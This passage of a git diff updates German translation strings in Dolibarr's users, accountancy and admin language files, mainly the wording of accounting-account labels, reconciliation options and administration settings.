+++ b/htdocs/langs/de_CH/users.lang @@ -20,8 +20,6 @@ MenuUsersAndGroups=Benutzer & Gruppen LastGroupsCreated=Die %s neuesten Benutzergruppen LastUsersCreated=%s neueste Benutzer NonAffectedUsers=Nicht betroffene Benutzer -LinkToCompanyContact=Mit Geschäftspartner/Kontakt verknüpfen -CreateDolibarrThirdParty=Neuen Geschäftspartner erstellen ExportDataset_user_1=Benutzer und Eigenschaften Reactivate=Reaktivieren CreateInternalUserDesc=Hier kannst du interne Benutzer erzeugen.\nExterne Benutzer erzeugst du in den Kontakten deiner Partner. diff --git a/htdocs/langs/de_DE/accountancy.lang b/htdocs/langs/de_DE/accountancy.lang index eeb63ab1489..e204ee91b47 100644 --- a/htdocs/langs/de_DE/accountancy.lang +++ b/htdocs/langs/de_DE/accountancy.lang @@ -5,7 +5,7 @@ ACCOUNTING_EXPORT_SEPARATORCSV=Spaltentrennzeichen für die Exportdatei ACCOUNTING_EXPORT_DATE=Datumsformat der Exportdatei ACCOUNTING_EXPORT_PIECE=Stückzahl exportieren ACCOUNTING_EXPORT_GLOBAL_ACCOUNT=Mit globalem Konto exportieren -ACCOUNTING_EXPORT_LABEL=Exportiere Beschriftung +ACCOUNTING_EXPORT_LABEL=Exportiere Bezeichnung ACCOUNTING_EXPORT_AMOUNT=Exportiere Betrag ACCOUNTING_EXPORT_DEVISE=Exportiere Währung Selectformat=Wählen Sie das Format für die Datei @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Art des Zeilenumbruchs wählen ACCOUNTING_EXPORT_PREFIX_SPEC=Präfix für den Dateinamen angeben ThisService=Diese Leistung ThisProduct=Dieses Produkt -DefaultForService=Standard für Leistung -DefaultForProduct=Standard für Produkt +DefaultForService=Standard für Leistungen +DefaultForProduct=Standard für Produkte ProductForThisThirdparty=Produkt für diesen Geschäftspartner ServiceForThisThirdparty=Leistungen für diesen Geschäftspartner CantSuggest=Kann keines vorschlagen @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Standardkonto für Lieferanten die nicht im Se MainAccountForUsersNotDefined=Standardkonto für Benutzer ist im Setup nicht definiert MainAccountForVatPaymentNotDefined=Standardkonto für MwSt.-Zahlungen ist im Setup nicht definiert MainAccountForSubscriptionPaymentNotDefined=Standardkonto für wiederkehrende Zahlungen ist im Setup nicht definiert +UserAccountNotDefined=Buchungskonto für den Benutzer ist nicht im Setup definiert AccountancyArea=Bereich Buchhaltung AccountancyAreaDescIntro=Die Verwendung des Buchhaltungsmoduls erfolgt in mehreren Schritten: @@ -100,6 +101,7 @@ ShowAccountingAccount=Buchungskonto anzeigen ShowAccountingJournal=Buchhaltungsjournal anzeigen ShowAccountingAccountInLedger=Buchungskonto im Hauptbuch anzeigen ShowAccountingAccountInJournals=Buchungskonto in Journalen anzeigen +DataUsedToSuggestAccount=Daten, die verwendet werden, um ein Buchungskonto vorzuschlagen AccountAccountingSuggest=Vorgeschlagenes Buchungskonto MenuDefaultAccounts=Standardkonten MenuBankAccounts=Bankkonten @@ -125,6 +127,7 @@ WriteBookKeeping=Transaktionen in der Buchhaltung erfassen Bookkeeping=Hauptbuch BookkeepingSubAccount=Nebenbuch AccountBalance=Summen und Salden +AccountBalanceSubAccount=Saldo der Unterkonten ObjectsRef=Quellreferenz CAHTF=Gesamtbetrag Lieferant vor Steuern TotalExpenseReport=Gesamtausgaben Spesenabrechnung @@ -164,42 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Combo-Liste für Nebenkonto aktivieren (kann langsam s ACCOUNTING_DATE_START_BINDING=Definieren Sie ein Datum, an dem die Bindung und Übertragung in der Buchhaltung beginnen soll. Transaktionen vor diesem Datum werden nicht in die Buchhaltung übertragen. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Welcher Zeitraum ist beim Buchhaltungstransfer standardmäßig ausgewählt? -ACCOUNTING_SELL_JOURNAL=Verkaufsjournal -ACCOUNTING_PURCHASE_JOURNAL=Einkaufsjournal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Variajournal -ACCOUNTING_EXPENSEREPORT_JOURNAL=Spesenabrechnungsjournal -ACCOUNTING_SOCIAL_JOURNAL=Sozialabgabenjournal +ACCOUNTING_SELL_JOURNAL=Verkaufsjournal - Verkäufe und Retouren +ACCOUNTING_PURCHASE_JOURNAL=Einkaufsjournal - Käufe und Retouren +ACCOUNTING_BANK_JOURNAL=Kassenbuch - Einnahmen und Ausgaben +ACCOUNTING_EXPENSEREPORT_JOURNAL=Spesen-Abrechnungs-Journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=Sammeljournal ACCOUNTING_HAS_NEW_JOURNAL=Eröffnungsjournal +ACCOUNTING_INVENTORY_JOURNAL=Bestandsjournal +ACCOUNTING_SOCIAL_JOURNAL=Sozialabgabenjournal ACCOUNTING_RESULT_PROFIT=Ergebnisabrechnungskonto (Gewinn) ACCOUNTING_RESULT_LOSS=Ergebnisabrechnungskonto (Verlust) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal für Abschlussbuchungen -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Buchhaltung Konto der Überweisung +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Konto (aus dem Kontenplan), das als Verrechnungskonto/Transferkonto für Banküberweisungen verwendet werden soll TransitionalAccount=Überweisungskonto -ACCOUNTING_ACCOUNT_SUSPENSE=Verrechnungskonto/Zwischenkonto -DONATION_ACCOUNTINGACCOUNT=Buchungskonto für Spenden -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Buchungskonto für Abonnements +ACCOUNTING_ACCOUNT_SUSPENSE=Konto (aus dem Kontenplan), das als Verrechnungsonto/Zwischenkonto für nicht zugewiesene Gelder verwendet werden soll, die entweder erhalten oder gezahlt wurden, d. h. Gelder im Status „Warten“ +DONATION_ACCOUNTINGACCOUNT=Konto (aus dem Kontenplan), das zur Erfassung von Spenden verwendet werden soll (Spendenmodul) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Konto (aus dem Kontenplan), das zur Erfassung von Mitgliedsbeiträgen verwendet werden soll (Mitgliedschaftsmodul - wenn die Mitgliedschaft ohne Rechnung erfasst wird) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Standard-Buchungskonto zur Erfassung einer Kundenanzahlung +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Konto (aus dem Kontenplan), das als Standardkonto zur Erfassung von Kundenanzahlungen verwendet werden soll UseAuxiliaryAccountOnCustomerDeposit=Debitorenkonto als Einzelkonto im Nebenbuch für Anzahlungspositionen hinterlegen (bei Deaktivierung bleibt Einzelkonto für Anzahlungspositionen leer) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Standard-Buchungskonto zur Erfassung der Lieferantenkaution +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Konto (aus dem Kontenplan), das als Standard verwendet werden soll UseAuxiliaryAccountOnSupplierDeposit=Lieferantenkonto als Einzelkonto im Nebenbuch für Anzahlungsbuchungen speichern (falls deaktiviert, bleibt Einzelkonto für Anzahlungsbuchungen leer) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Standard-Buchungskonto zur Erfassung der vom Kunden einbehaltenen Garantie -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Standard-Buchungskonto für gekaufte Produkte \n(wenn nicht anders im Produktblatt definiert) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Standard-Buchungskonto für gekaufte Produkte in der EWG (wird verwendet, wenn nicht im Produktblatt definiert) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Standard-Buchungskonto für gekaufte und aus der EWG importierte Produkte (wird verwendet, wenn nicht im Produktblatt definiert) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Standard-Buchungskonto für die verkauften Produkte (wenn nicht anders im Produktblatt definiert) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Standard-Buchungskonto für in die EWG verkaufte Produkte \n(wird verwendet, wenn nicht im Produktblatt definiert) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Standard-Buchungskonto für außerhalb der EWG verkaufte Produkte [EXPORT] \n(wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die im selben Land gekauften Produkte verwendet werden soll (wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für in der EWG aus einem anderen EWG-Land gekauften Produkte verwendet werden soll (wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die aus einem anderen Land gekauften und importierten Produkte verwendet werden soll (wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die verkauften Produkte verwendet werden soll (wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die von der EWG in ein anderes EWG-Land verkauften Produkte verwendet werden soll (wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die verkauften und in ein anderes Land exportierten Produkte verwendet werden soll (wird verwendet, wenn nicht im Produktblatt definiert) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Standard-Buchungskonto für die gekauften Leistungen (wenn nicht anders im Produktblatt definiert) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Standard-Buchungskonto für eingekaufte Dienstleistungen in der EWG (wird verwendet, wenn nicht im Leistungsblatt definiert) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Standard-Buchungskonto für die gekauften und aus der EWG importierten Dienstleistungen (wird verwendet, wenn nicht im Leistungsblatt definiert) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Standard-Buchungskonto für die verkauften Leistungen (wenn nicht anders im Produktblatt definiert) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Standard-Buchungskonto für in die EWG verkaufte Dienstleistungen \n(wird verwendet, wenn nicht im Produktblatt definiert) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Standard-Buchungskonto für außerhalb der EWG verkaufte Dienstleistungen [EXPORT] \n(wird verwendet, wenn nicht im Produktblatt definiert) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die im selben Land gekauften Leistungen verwendet werden soll (wird verwendet, wenn nicht im Serviceblatt definiert) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für in der EWG aus einem anderen EWG-Land gekauften Leistungen verwendet werden soll (wird verwendet, wenn nicht im Leistungsblatt definiert) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die aus dem übrigen Ausland gekauften und importierten Leistungen verwendet werden soll (wird verwendet, wenn nicht im Leistungsblatt definiert) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die verkauften Leistungen verwendet werden soll (wird verwendet, wenn nicht im Leistungsblatt definiert) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die von der EWG in ein anderes EWG-Land verkauften Leistungen verwendet werden soll (wird verwendet, wenn nicht im Leistungsblatt definiert) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Konto (aus dem Kontenplan), das als Standardkonto für die verkauften und in ein anderes Land exportierten Leistungen verwendet werden soll (wird verwendet, wenn nicht im Dienstleistungsblatt definiert) Doctype=Dokumententyp Docdate=Datum @@ -214,7 +220,8 @@ Codejournal=Journal JournalLabel=Journal-Bezeichnung NumPiece=Teilenummer TransactionNumShort=Buchungsnr. -AccountingCategory=Benutzerdefinierte Gruppe +AccountingCategory=Benutzerdefinierte Kontengruppe +AccountingCategories=Benutzerdefinierte Kontengruppe GroupByAccountAccounting=Gruppieren nach Hauptbuchkonto GroupBySubAccountAccounting=Gruppieren nach Nebenbuchkonto AccountingAccountGroupsDesc=Hier können Kontengruppen definiert werden. Diese werden für personaliserte Buchhaltungsreports verwendet. @@ -231,6 +238,7 @@ ConfirmDeleteMvt=Dadurch werden alle Buchungszeilen für das Jahr/den Monat und/ ConfirmDeleteMvtPartial=Hierdurch wird die Transaktion aus der Buchhaltung gelöscht (alle Zeilen, die sich auf dieselbe Transaktion beziehen, werden gelöscht). FinanceJournal=Finanzjournal ExpenseReportsJournal=Spesenabrechnungsjournal +InventoryJournal=Bestandsjournal DescFinanceJournal=Finanzjournal inklusive aller Arten von Zahlungen mit Bankkonto DescJournalOnlyBindedVisible=Dies ist eine Ansicht von Datensätzen, denen ein Buchungskonto zugeordnet ist und die in den Journalen und im Hauptbuch erfasst werden können. VATAccountNotDefined=Steuerkonto nicht definiert @@ -262,6 +270,7 @@ ShowSubtotalByGroup=Zwischensumme nach Ebene anzeigen Pcgtype=Kontenklasse PcgtypeDesc=Kontengruppen werden für einige Buchhaltungsberichte als vordefinierte Filter- und Gruppierungskriterien verwendet. Beispielsweise werden "Aufwand" oder "Ertrag" als Gruppen für die Buchungskonten von Produkten genutzt, um die Ausgaben-/Einnahmenrechnung zu erstellen. +AccountingCategoriesDesc=Benutzerdefinierte Kontengruppen können verwendet werden, um mehrere Buchhaltungskonten unter einem Namen zu gruppieren, um die Verwendung von Filtern oder das Erstellen von benutzerdefinierten Berichten zu vereinfachen. Reconcilable=ausgleichsfähig @@ -269,9 +278,9 @@ TotalVente=Gesamtumsatz vor Steuern TotalMarge=Gesamtumsatzrendite DescVentilCustomer=Übersicht der kontierten und unkontierten Positionen aus Kundenrechnungen -DescVentilMore=Wenn in den Produkten und Leistungen die entsprechenden Buchungskonten des Kontenplans hinterlegt sind, können die Rechnungspositionen automatisch jenen Konten zugeordnet werden. Dazu dient die Schaltfläche "%s".\nWo das nicht möglich ist, können die Rechnungspositionen via "%s" von Hand zugewiesen werden. +DescVentilMore=Wenn Sie vordefinierte Produkte oder Leistungen verwenden und das Buchungskonto auf der Produkt-/Leistungskarte festlegen, kann die Anwendung in den meisten Fällen die Kontierung Ihrer Rechnungsposten mit nur in einem Klick auf die Schaltfläche "%s" vornehmen. Wenn das Konto nicht auf der Produkt-/Servicekarte definiert wurde oder Sie noch Positionen haben, die nicht an ein Konto gebunden sind, müssen Sie eine manuelle Kontierung via " %s" vornehmen. DescVentilDoneCustomer=Liste der Positionen der Kundenrechnungen und die Buchungskonten der Produkte -DescVentilTodoCustomer=Nicht bereits kontierte Rechnungspositionen mit einem Erlös-Konto der Buchhaltung kontieren +DescVentilTodoCustomer=Nicht bereits kontierte Rechnungspositionen mit einem Erlöskonto der Buchhaltung kontieren ChangeAccount=Buchungskonto für Produkte/Leistungen für die ausgewählten Positionen in das folgende Buchungskonto ändern: Vide=- DescVentilSupplier=Übersicht der unkontierten und kontierten Positionen aus Lieferantenrechnungen (nur Datensätze, die noch nicht in die Buchhaltung übertragen wurden, sind sichtbar). @@ -291,6 +300,7 @@ DescValidateMovements=Es sind danach keinerlei Änderungen oder Löschungen mehr ValidateHistory=Automatisch kontieren AutomaticBindingDone=Automatische Zuordnungen durchgeführt (%s) - Automatische Zuordnung für einige Datensätze nicht möglich (%s) +DoManualBindingForFailedRecord=Sie müssen eine manuelle Verknüpfung für die %s-Zeile(n) vornehmen, die nicht automatisch verknüpft wurden. ErrorAccountancyCodeIsAlreadyUse=Fehler, Sie können dieses Buchungskonto nicht löschen, da es benutzt wird. MvtNotCorrectlyBalanced=Buchungssalden nicht ausgeglichen. Soll = %s & Haben = %s @@ -325,6 +335,7 @@ AccountingJournalType4=Bank AccountingJournalType5=Spesenabrechnungen AccountingJournalType8=Bestand AccountingJournalType9=Eröffnungsbuchungen +GenerationOfAccountingEntries=Erstellung von Buchhaltungseinträgen ErrorAccountingJournalIsAlreadyUse=Dieses Journal wird bereits verwendet AccountingAccountForSalesTaxAreDefinedInto=Hinweis: Buchaltungskonten für Steuern sind im Menü %s - %s definiert NumberOfAccountancyEntries=Anzahl der Einträge @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Anzahl der Buchungen ACCOUNTING_DISABLE_BINDING_ON_SALES=Deaktivieren Sie die Bindung und Übertragung in der Buchhaltung bei Verkäufen (Kundenrechnungen werden in der Buchhaltung nicht berücksichtigt). ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Deaktivieren Sie die Bindung und Übertragung in der Buchhaltung bei Einkäufen (Lieferantenrechnungen werden in der Buchhaltung nicht berücksichtigt). ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Deaktivieren Sie die Bindung und Übertragung in der Buchhaltung für Spesenabrechnungen (Spesenabrechnungen werden bei der Buchhaltung nicht berücksichtigt). +ACCOUNTING_ENABLE_LETTERING=Aktivieren Sie die Abstimmungsfunktion in der Buchhaltung +ACCOUNTING_ENABLE_AUTOLETTERING=Aktivieren Sie den automatischen Buchungsabgleich bei der Übergabe an die Buchhaltung ## Export +NotExportLettering=Beim Generieren der Datei die Abstimmungsinformationen nicht exportieren NotifiedExportDate=Exportierte Zeilen als exportiert kennzeichnen (um eine Zeile zu ändern, müssen Sie die gesamte Transaktion löschen und erneut in die Buchhaltung übertragen) NotifiedValidationDate=Festschreiben der exportierten Einträge (gleiche Wirkung wie die Funktion "%s", Änderungen und Löschungen der Zeilen sind danach DEFINITIV NICHT möglich) +NotifiedExportFull=Dokumente exportieren? DateValidationAndLock=Festschreibungsdatum ConfirmExportFile=Exportdatei der Buchhaltung erstellen? ExportDraftJournal=Entwurfsjournal exportieren @@ -392,7 +407,7 @@ SaleLocal=Verkauf Inland SaleExport=Verkauf Export (ausserhalb EWG) SaleEEC=Verkauf in EU/EWG SaleEECWithVAT=Verkauf in der EU mit Mehrwertsteuer (nicht null), und daher anzunehmen ist, dass es sich NICHT um einen innergemeinschaftlichen Verkauf handelt und das vorgeschlagene Konto daher das Standardproduktkonto ist. -SaleEECWithoutVATNumber=Verkauf in der EU ohne USt., aber ohne dass die erforderliche USt.-ID des Geschäftspartners hinterlegt ist. Es wird stattdessen auf das Produktkonto für Standardverkäufe zurückgegriffen. Bei Bedarf kann die USt.-ID des Geschäftspartners festgelegt oder die Einstellung für das Produktkonto geändert werden. +SaleEECWithoutVATNumber=Verkauf in der EWG ohne Mehrwertsteuer, ohne dass die Umsatzsteuer-ID des Geschäftspartners definiert ist. Es wird stattdessen auf das Buchungskonto für Standardverkäufe zurückgegriffen. Sie können die Umsatzsteuer-ID des Geschäftspartners korrigieren oder das zur Kontierung vorgeschlagene Buchungskonto bei Bedarf ändern. ForbiddenTransactionAlreadyExported=Unzulässig: Die Transaktion wurde bereits freigegeben und/oder exportiert. ForbiddenTransactionAlreadyValidated=Unzulässig: Die Transaktion wurde bereits freigegeben. ## Dictionary @@ -401,7 +416,11 @@ Calculated=berechnet Formula=Formel ## Reconcile +LetteringAuto=Automatisch abgleichen +LetteringManual=Manuell abgleichen Unlettering=Abgleich aufheben +UnletteringAuto=Automatischen Abgleich aufheben +UnletteringManual=Manuellen Abgleich aufheben AccountancyNoLetteringModified=Kein Abgleich geändert AccountancyOneLetteringModifiedSuccessfully=Ein Abgleich wurde erfolgreich geändert AccountancyLetteringModifiedSuccessfully=%s Abgleiche erfolgreich modifiziert @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Ein Abgleich wurde erfolgreich ge AccountancyUnletteringModifiedSuccessfully=%s aufgehobene Abgleiche erfolgreich modifiziert ## Confirm box -ConfirmMassUnlettering=Bestätigung der Massenaktion Abgleich aufheben -ConfirmMassUnletteringQuestion=Möchten Sie den Abgleich für die ausgewählten %s-Datensätze wirklich rückgängig machen? +ConfirmMassUnletteringAuto=Bestätigung für das Aufheben aller automatischen Abgleiche +ConfirmMassUnletteringManual=Bestätigung für das Aufheben aller manuellen Abgleiche +ConfirmMassUnletteringQuestion=Möchten Sie den Abgleich für die ausgewählten %s Datensätze wirklich rückgängig machen? ConfirmMassDeleteBookkeepingWriting=Bestätigung für Massenlöschen ConfirmMassDeleteBookkeepingWritingQuestion=Dadurch wird die Transaktion aus der Buchhaltung gelöscht (alle Zeilen, die sich auf dieselbe Transaktion beziehen, werden gelöscht). Möchten Sie die %s ausgewählten Datensätze wirklich löschen? @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Fehlende Übereinstimmung im Code für Abglei AccountancyErrorMismatchBalanceAmount=Der Saldo (%s) ist ungleich 0 AccountancyErrorLetteringBookkeeping=Bei den Transaktionen sind Fehler aufgetreten: %s ErrorAccountNumberAlreadyExists=Das Buchungskonto %s existiert bereits +ErrorArchiveAddFile=Die Datei „%s“ kann nicht im Archiv abgelegt werden ## Import ImportAccountingEntries=Buchaltungseinträge @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Mehrwährungs-Code (Idevise) DateExport=Exportdatum WarningReportNotReliable=Achtung, dieser Bericht basiert nicht auf dem Hauptbuch und enthält keine Transaktionen, die manuell im Hauptbuch geändert wurden. Wenn Ihre Journalisierung aktuell ist, ist die Buchhaltungsansicht genauer. ExpenseReportJournal=Spesenabrechnung Journal -InventoryJournal=Inventarjournal +DocsAlreadyExportedAreExcluded=Bereits exportierte Dokumente sind ausgeschlossen +ClickToHideAlreadyExportedLines=Klicken Sie hier, um bereits exportierte Positionen auszublenden NAccounts=%s Konten diff --git a/htdocs/langs/de_DE/admin.lang b/htdocs/langs/de_DE/admin.lang index d1a296b7370..cc92cfc6c3c 100644 --- a/htdocs/langs/de_DE/admin.lang +++ b/htdocs/langs/de_DE/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client Sortierreihenfolge WarningModuleNotActive=Modul %s muss aktiviert sein WarningOnlyPermissionOfActivatedModules=Achtung, hier werden nur Berechtigungen im Zusammenhang mit aktivierten Module angezeigt. Weitere Module können Sie unter Start->Einstellungen-Module aktivieren. DolibarrSetup=Dolibarr Installation oder Upgrade -InternalUser=Interner Benutzer -ExternalUser=Externer Benutzer InternalUsers=Interne Benutzer ExternalUsers=Externe Benutzer UserInterface=Benutzeroberfläche @@ -147,6 +145,7 @@ Box=Widget Boxes=Widgets MaxNbOfLinesForBoxes=Maximale Zeilenanzahl in Widgets AllWidgetsWereEnabled=Alle verfügbaren Widgets sind bereits aktiviert. +WidgetAvailable=Widget verfügbar PositionByDefault=Standardposition Position=Position MenusDesc=In der Menüverwaltung können Sie den Inhalt der beiden Menüleisten (Oben und Links) festlegen @@ -160,10 +159,10 @@ SystemToolsArea=Systemwerkzeugsübersicht SystemToolsAreaDesc=In diesem Bereich finden Sie die Verwaltungsfunktionen. Verwenden Sie das Menü zur Auswahl der gesuchten Funktion. Purge=Bereinigen PurgeAreaDesc=Auf dieser Seite können Sie alle von Dolibarr erzeugten oder gespeicherten Dateien (temporäre Dateien oder alle Dateien im Verzeichnis %s ) löschen. Die Verwendung dieser Funktion ist in der Regel nicht erforderlich. Es wird als Workaround für Benutzer bereitgestellt, deren Dolibarr von einem Anbieter gehostet wird, der keine Berechtigungen zum löschen von Dateien anbietet, die vom Webserver erzeugt wurden. -PurgeDeleteLogFile=Löschen der Protokolldateien, einschließlich %s, die für das Syslog-Modul definiert wurden (kein Risiko Daten zu verlieren) +PurgeDeleteLogFile=Protokolldateien löschen, einschließlich %s, die für das Syslog-Modul definiert wurden (kein Risiko Daten zu verlieren) PurgeDeleteTemporaryFiles=Löscht alle Protokoll- und temporären Dateien (kein Risiko, Daten zu verlieren). Parameter können 'tempfilesold', 'logfiles' oder beide 'tempfilesold + logfiles' sein. Hinweis: Das Löschen temporärer Dateien erfolgt nur, wenn das temporäre Verzeichnis vor mehr als 24 Stunden erstellt wurde. -PurgeDeleteTemporaryFilesShort=Log und temporäre Dateien löschen (kein Risiko von Datenverlust) -PurgeDeleteAllFilesInDocumentsDir=Alle Dateien im Verzeichnis: %s löschen:
      Dadurch werden alle erzeugten Dokumente löschen, die sich auf verknüpfte (Dritte, Rechnungen usw....), Dateien, die in das ECM Modul hochgeladen wurden, Datenbank, Backup, Dumps und temporäre Dateien beziehen. +PurgeDeleteTemporaryFilesShort=Log und temporäre Dateien löschen (kein Risiko Daten zu verlieren) +PurgeDeleteAllFilesInDocumentsDir=Alle Dateien im Verzeichnis: %s löschen:
      Gelöscht werden alle erzeugten Dokumente zu verknüpften Objekten (Angebote, Rechnungen usw....), alle Dateien, die in das ECM Modul hochgeladen wurden, sowie Datenbank Backup-Dateien und temporäre Dateien. PurgeRunNow=Jetzt bereinigen PurgeNothingToDelete=Keine zu löschenden Verzeichnisse oder Dateien PurgeNDirectoriesDeleted=%s Datei(en) oder Verzeichnis(se) gelöscht. @@ -205,7 +204,7 @@ ExtendedInsert=Erweiterte INSERTS NoLockBeforeInsert=Keine Sperrbefehle (Lock) für INSERT DelayedInsert=Verzögerte INSERTS EncodeBinariesInHexa=Hexadezimal-Codierung für Binärdaten -IgnoreDuplicateRecords=Fehler zu doppelten Zeiten ignorieren (INSERT IGNORE) +IgnoreDuplicateRecords=Fehler zu doppelten Datensätzen ignorieren (INSERT IGNORE) AutoDetectLang=Automatische Erkennung (Browser-Sprache) FeatureDisabledInDemo=Funktion in der Demoversion deaktiviert FeatureAvailableOnlyOnStable=Diese Funktion steht nur in offiziellen stabilen Versionen zur Verfügung @@ -287,13 +286,14 @@ NewByMonth=Neu nach Monat Emails=E-Mail EMailsSetup=E-Mail-Einstellungen EMailsDesc=Auf dieser Seite können Sie Parameter oder Optionen für das Senden von E-Mails festlegen. -EmailSenderProfiles=E-Mail-Signaturen +EmailSenderProfiles=E-Mail-Absenderprofile EMailsSenderProfileDesc=Sie können diesen Bereich leer lassen. Wenn Sie hier E-Mail-Adressen angeben, werden diese beim Schreiben einer neuen E-Mail in die Liste der möglichen Absender aufgenommen. MAIN_MAIL_SMTP_PORT=SMTP(S)-Port (Standardwert Ihrer php.ini: %s) MAIN_MAIL_SMTP_SERVER=SMTP(S)-Server (Standardwert Ihrer php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS-Port (nicht in PHP definiert in Unix-Umgebungen) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP-Host (nicht in PHP definiert in Unix-Umgebungen) MAIN_MAIL_EMAIL_FROM=Absender-Adresse für automatisch erstellte E-Mails (Standardwert in php.ini: %s) +EMailHelpMsgSPFDKIM=Um zu verhindern, dass Dolibarr-E-Mails als Spam eingestuft werden, stellen Sie sicher, dass der Server per SPF- und DKIM-Konfiguration autorisiert ist, E-Mails von dieser Adresse zu senden MAIN_MAIL_ERRORS_TO=Standard-E-Mail-Adresse für Fehlerrückmeldungen (beispielsweise unzustellbare E-Mails) MAIN_MAIL_AUTOCOPY_TO= Blindkopie (BCC) aller gesendeten E-Mails an MAIN_DISABLE_ALL_MAILS=Alle E-Mail-Funktionen deaktivieren (für Test- oder Demonstrationszwecke) @@ -375,7 +375,7 @@ DoTestSendHTML=Zum Testen HTML zusenden ErrorCantUseRazIfNoYearInMask=Fehler: die Option @ kann nicht benutzt werden, um den Zähler jährlich zurück zu setzen, wenn die Sequenz {yy} oder {yyyy} in der Maske fehlt. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Fehler: Kann Option @ nicht verwenden, wenn Sequenz {mm}{yy} oder {mm}{yyyy} nicht im Schema verwendet werden. UMask=UMask-Parameter für neue Dateien auf Unix/Linux/BSD-Dateisystemen. -UMaskExplanation=Über diesen Parameter können Sie die standardmäßigen Dateiberechtigungen für vom System erzeugte/verwaltete Inhalte festlegen.
      Erforderlich ist ein Oktalwert (0666 bedeutet z.B. Lesen und Schreiben für alle).
      Auf Windows-Umgebungen haben diese Einstellungen keinen Effekt. +UMaskExplanation=Mit diesem Parameter können Sie Berechtigungen definieren, die standardmäßig für Dateien festgelegt werden, die von Dolibarr auf dem Server erstellt wurden (z. B. während des Hochladens).
      Es muss ein Oktalwert sein (z. B. bedeutet 0666 Lesen und Schreiben für alle). Empfohlener Wert ist 0600 oder 0660
      Dieser Parameter ist auf einem Windows-Server nutzlos. SeeWikiForAllTeam=Werfen Sie einen Blick auf die Wiki-Seite für eine vollständige Liste aller Mitwirkenden und deren Organisationen UseACacheDelay= Verzögerung für den Export der Cache-Antwort in Sekunden (0 oder leer für kein Caching) DisableLinkToHelpCenter=Link "Brauche Hilfe oder Support" auf der Login-Seite ausblenden @@ -394,7 +394,7 @@ FollowingSubstitutionKeysCanBeUsed=
